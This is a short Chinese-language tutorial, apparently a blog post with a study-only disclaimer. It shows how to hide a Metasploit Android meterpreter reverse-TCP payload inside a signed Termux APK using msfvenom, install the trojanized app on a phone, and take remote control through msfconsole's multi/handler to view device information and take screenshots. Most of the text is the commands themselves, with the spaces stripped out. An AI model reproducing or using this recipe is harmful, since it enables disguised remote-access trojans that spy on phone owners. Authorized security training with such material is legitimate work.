声明本文内容仅供网络安全学习与研究使用请勿用于任何非法用途。作者对因使用本文内容而产生的任何直接或间接后果概不负责。请在合法合规的前提下进行测试并确保已获得相关授权。环境kali 2024.4虚拟机网络模式为桥接模式apktool 2.11.1测试手机荣耀20S步骤下载一个简单且已经签名过的apk作为模板我选择的是termuxhttps://github.com/termux/termux-app/releases#release-v0.118.0下载完成后重命名为template.apk查看自己的虚拟机ip地址必须是桥接模式不能是NAT然后进行注入之后将生成的新的apk安装到手机上msfvenom-pandroid/meterpreter/reverse_tcpLHOST10.211.101.114LPORT4444-xtemplate.apk-otest.apk开启msfconsole测试手机启动app等待TCP连接成功use exploit/multi/handlersetpayload android/meterpreter/reverse_tcpsetLHOST10.211.101.114setLPORT4444run尝试查看测试手机信息、截图等操作